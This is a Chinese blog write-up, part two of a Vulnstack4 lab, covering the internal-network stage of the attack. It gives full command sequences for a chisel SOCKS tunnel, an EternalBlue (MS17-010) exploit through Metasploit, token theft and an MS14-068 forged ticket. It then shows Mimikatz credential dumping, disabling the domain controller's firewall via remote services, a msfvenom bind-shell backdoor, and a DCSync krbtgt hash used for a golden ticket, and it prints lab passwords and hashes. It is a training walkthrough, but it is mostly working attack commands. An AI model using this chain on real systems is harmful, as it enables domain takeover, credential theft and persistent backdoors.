vulnstack4内网渗透靶机实战二

我们继续展开Vulnstack4靶场的内网渗透。

内网代理:

怎样算进入内网呢?外网可访问到web服务器(拓扑图中的HOST1),同时该机可以转发到内网环境(拓扑图中192.168.0.111到192.168.183.128),访问内网(图中域DC机192.168.183.130,和域成员机192.168.183.129)。这就需要将外网可访问的web机及其指定端口作为我们的代理,通过代理就可以访问内网的域成员机,要点在于权限维持。如果没有代理端口稳定持久性转发流量,而直接使用拿下的web服务器作为跳板,则漏洞的利用一般会很不稳定甚至很难连通,难以有效利用。

一般内网渗透的代理配置方法有多种,常见的有

1.proxychains(kali有)+earthworm(需要下载)代理,内网穿透神器EarthWorm可穿透复杂的内网环境,可以不需要跳板机运行直接反弹到外网的攻击机上。2019年官方称,考虑到该工具影响很坏,为方便各安全厂商能更好的研究和查杀,将不再更新。

2.reGeorg+proxifier

3.lcx 内网端口转发

4.nc 反弹

5. chisel+msf

渗透测试大神器Metasploit,当然也是很方便的内网渗透利器,msf内置了socks模块,在session但基础上配置路由,调用即可使用,但是速度和稳定性都很差,一般不直接单独使用。所以我们以据说稳定和强大的 chisel代理为主,再简单设置msf代理。

下面我们就采用chisel+msf方法攻入内网。

chisel地址:https://github.com/jpillora/chisel

Chisel可用来搭建内网隧道,类似于常用的frp和nps之类的工具。chisel可以进行端口转发、反向端口转发以及Socks流量代理,使用go语言编写,支持多个平台使用,其使用SSH加密,有比较好的安全性。具有断开等待和重连机制,服务端与客户端一体,稳定性好。

在ubuntu使用wget直接从github上传chisel:

 解压

目标机ubuntu开启服务端:

/chisel_1.7.6_linux_amd64 server -p  2333 --socks5

 攻击机kali开启客户端:

./chisel_1.7.6_linux_amd64 client 192.168.0.111:2333 socks

攻击机1080端口开启了socks5监听。即实现将被拿下的目标web机上2333端口的流量转发到攻击机kali的1080端口。

永恒之蓝横向渗透攻击

2017年,一款利用永恒之蓝的勒索病毒,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

微软已于2017 年 发布MS17-010补丁,修复了“永恒之蓝”攻击的系统漏洞。然而,还有许多内网,由于相对安全力度不够,永恒之蓝潜伏其中没被发现。这样,内网攻击经常使用而且很有效的手段之一,就是永恒之蓝。

我们先利用msf永恒之蓝工具扫描:

search ms17_010
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.0/24
set threads 50

发现内网域成员机192.168.183.129与域DC机192.168.183.130都存在ms17-10,可能攻击Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)主机和Windows Server 2008 HPC Edition 7601 Service Pack 1 x64 (64-bit)。

于是我们采用永恒之蓝攻击工具。

setg Proxies socks5:127.0.0.1:1080
     #msf全局把代理指向127.0.0.1:1080(攻击机1080端口进行socks5监听)
use exploit/windows/smb/ms17_010_eternalblue   #加载渗透攻击模块
set payload windows/x64/meterpreter/bind_tcp   #因为使用代理所以正向监听
                                                              
set  AutoRunScript post/windows/manage/migrate  #自动化后渗透测试,执行
                                                                 #   一次就可以获得对目标的控制权限
set rhost    192.168.183.129 #设置内网域成员为目标机
set lport 4444  #设置监听端口
run

 

直接是最高系统权限。

msf拿到meterpreter 反弹了,我们要代理到目标内网里拿下整个域。

进行内网简单信息搜集

 或者ps

 或者进入shell执行命令

shell                        #进入windows 命令行shell
net view        # 查看局域网内其他主机名
net view /domain  # 查看有几个域

 均见域名为DEMO,用户douser。

chcp 65001             #避免乱码
  net view  /domain     #查看有哪些域

net view  /domain:DEMO   #查看域中主机

 域DEMO中有TESTWIN7-PC   和WIN-ENS2VR5TR3N两台主机。

net localgroup administrators     #查看本地管理员组
net group "domain controllers" /domain   #查看域控主机的名字

 

 这种情况是必须域用户才能访问,非域用户没有权限执行域命令。我们需要降低权限到普通域用户,或者说模拟假冒普通域用户如demo/douser令牌。

meterpreter > steal_token 域用户vmtoolsd.exe进程数

 

 或者

 

 再看whoami,已经降为域用户demo/douser

 

 域控主机即domain controller 为WIN-ENS2VR5TR3N

wmic computersystem get domain  #完整域名

完整域名 demo.com

查看域控IP

 可见域控IP为DC机 192.168.183.130.

查看域中的用户

存在3个域用户:

Administrator 、douser、 krbtrt

krbtrt 即域Kerberos账户。Kerberos是西方神话中守卫地狱之门的三头犬的名字。只所以使用这个名字是因为Kerberos需要三方的共同参与,才能完成一次事务处理。

Windows活动目录中使用的客户/服务器认证协议,为通信双方提供双向身份认证。相互认证或请求服务的实体被称为委托人(principal)。参与的中央服务器被称为密钥分发中心(简称KDC)。KDC有两个服务组成:身份验证服务(Authentication Server,简称AS)和票据授予服务(Ticket Granting Server,简称TGS)。在Windows域环境下,身份验证服务和票据授予服务可同时运行在任何可写域控服务器上。Kerberos黄金票据或者认证票据是有效的伪造TGT,它作为TGS-REQ的一部分被发送到域控服务器以获得服务票据。

查看用户demo\douser的sid为 

S-1-5-21-979886063-1111900045-1414766810-1107

 

而域sid为

S-1-5-21-979886063-1111900045-1414766810

再用systeminfo命令,查看补丁信息

                           [01]: KB2491683
                           [02]: KB2534111
                           [03]: KB2564958
                           [04]: KB2621440
                           [05]: KB2653956
                           [06]: KB2654428
                           [07]: KB2698365
                           [08]: KB2705219
                           [09]: KB2736422
                           [10]: KB2813430
                           [11]: KB2900986
                           [12]: KB2937610
                           [13]: KB2943357
                           [14]: KB2978120
                           [15]: KB2984972
                           [16]: KB2992611
                           [17]: KB2999226
                           [18]: KB3004375
                           [19]: KB3010788
                           [20]: KB3023215
                           [21]: KB3031432
                           [22]: KB3035126
                           [23]: KB3037574
                           [24]: KB3045685
                           [25]: KB3046269
                           [26]: KB3072305
                           [27]: KB3074543
                           [28]: KB3086255
                           [29]: KB3097989
                           [30]: KB3101722
                           [31]: KB3108371
                           [32]: KB3122648
                           [33]: KB3127220
                           [34]: KB3155178
                           [35]: KB4019990
                           [36]: KB4040980
                           [37]: KB976902

渗透内网就要想到著名的域权限提升漏洞MS14-68,危害很大,可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。该靶机内网域有没有这个漏洞呢?通过对照相应漏洞补丁号:KB3011780,发现该域网没有装相应补丁,即可能存在MS14-68漏洞。下面我们利用此漏洞进攻域控。

信息搜集到此后,回到meterpreter执行rev2self恢复最高权限。

进攻域控

下一步我们进攻域控192.168.183.130.

回到meterpreter,用rev2sel命令重新具有系统最高权限。但有时得到最高权限用户权限执行Mimikatz还会报错,还需要假冒系统用户的令牌。

 先使用msf中的kiwi模块:

creds_all  #列举所有凭据

或者直接在mimikatz使用命令sekurlsa::logonpasswords。

下面用mimikatz拿密码。

Mimikatz是法国人Gentil Kiwi写的一款windows平台下的轻量级调试器,于2014年4月发起。它的功能非常强大,支持从windows进程lsass.exe 里猎取windows处于active状态账号明文密码、哈希、PIN码和Kerberos凭证,以及pass-the-hash、pass-the-ticket、build Golden tickets等数种黑客技术,还可以本地提权等操作,如果成功则拥有域管理权限,可任意访问域中所有机器,在内网中杀伤力很大。

靶机的mimikatz.exe在c:/users/douser/Desktop,还有MS14-068的exp。没有可以搜寻上传。

 MS14-068.exe 利用方法

我们可以构造payload如下:

MS14-068.exe -u douser@demo.com -p Dotest123  -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

成功生成票据文件“TGT_douser@demo.com.ccache”!

使用Mimikatz注入票据。

mimikatz.exe      #启动Mimikatz
privilege::debug   #取得特权
kerberos::purge         #清空当前主机中所有凭证,否则会影响凭证伪造
kerberos::list           #查看当前机器凭证
kerberos::ptc  <生成的票据文件>      #将票据注入到内存中

 这就将票据注入了内存。

 

 

 查看是否攻入域控

net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$

于是我们可以看到域控主机的文件,换句话说,我们已经拥有了域管理员权限。

攻入域控

关闭域控的防火墙

远程命令用sc服务

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

 生成msf正向马准备上传域控成为后门

msfvenom -p windows/x64/meterpreter/bind_tcp  lport=6688 -f exe-service  -o bind.exe

回到sessions1

exit

meterpreter > pwd

C:\Windows\system32

上传bind.exe到win7 C:\Windows\system32

upload  /root/bind.exe

 再将域成员win7的bind.exe复制到DC域控机c盘:

 复制成功

创建服务执行msf马,开启防火墙,运行后门bind.exe

sc \\WIN-ENS2VR5TR3N create Startbind  binpath= "C:\bind.exe"   #创建服务
sc \\WIN-ENS2VR5TR3N start unablefirewall     #开启防火墙
sc \\WIN-ENS2VR5TR3N start  Startbind        #执行msf马

 

 退出shell到msf设置监听:

exit
background
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6688
set rhosts 192.168.183.130       #域控目标机

run运行监听

 

 为执行域命令,我们需要降实际上是提权为域管理员权限

 

生成黄金票据

先抓取NTLM Hash

 help,查看需要选项用法

dcsync_ntlm            #Retrieve user account NTLM hash, SID and RID via 
                                  DCSync
dcsync_ntlm krbtgt

 

得到重要结果

NTLM Hash : 7c4ed692473d4b4344c3ba01c5e6cb63

回到win7

清空票据
kerberos_ticket_purge   #清除kerberos票据,在kiwi启动时用

如果没有载入kiwi,则

shell

klist purge

 确定清空,可以再查看域控

 或者查看klist

help   #查看如何生成黄金票据

golden_ticket_create -d demo.com -u Administrator -s S-1-5-21-979886063-1111900045-1414766810 -k 7c4ed692473d4b4344c3ba01c5e6cb63  -t /root/vulunstack/gold.tck

 

kerberos_ticket_use  /root/vulunstack/gold.tck  #利用即载入黄金票据

 验证黄金票据是否生效:

 

抓取域管理员密码

转到session 1 与win7会话, 里有mimikatz.exe,直接复制到域控

 转到session2 即与域控的会话

shell
cd ../../
mimikatz.exe
sekurlsa::logonpasswords

 

域管理员密码:!huang999666

实际上,我们在meterpreter打开了kiwi,所以直接输入命令 creds_all 检索所有凭证(解析)。

 

 都得到域管理员密码

!huang999666

posted on 2021-06-02 14:24  miraitowa666  阅读(1093)  评论(0)    收藏  举报

导航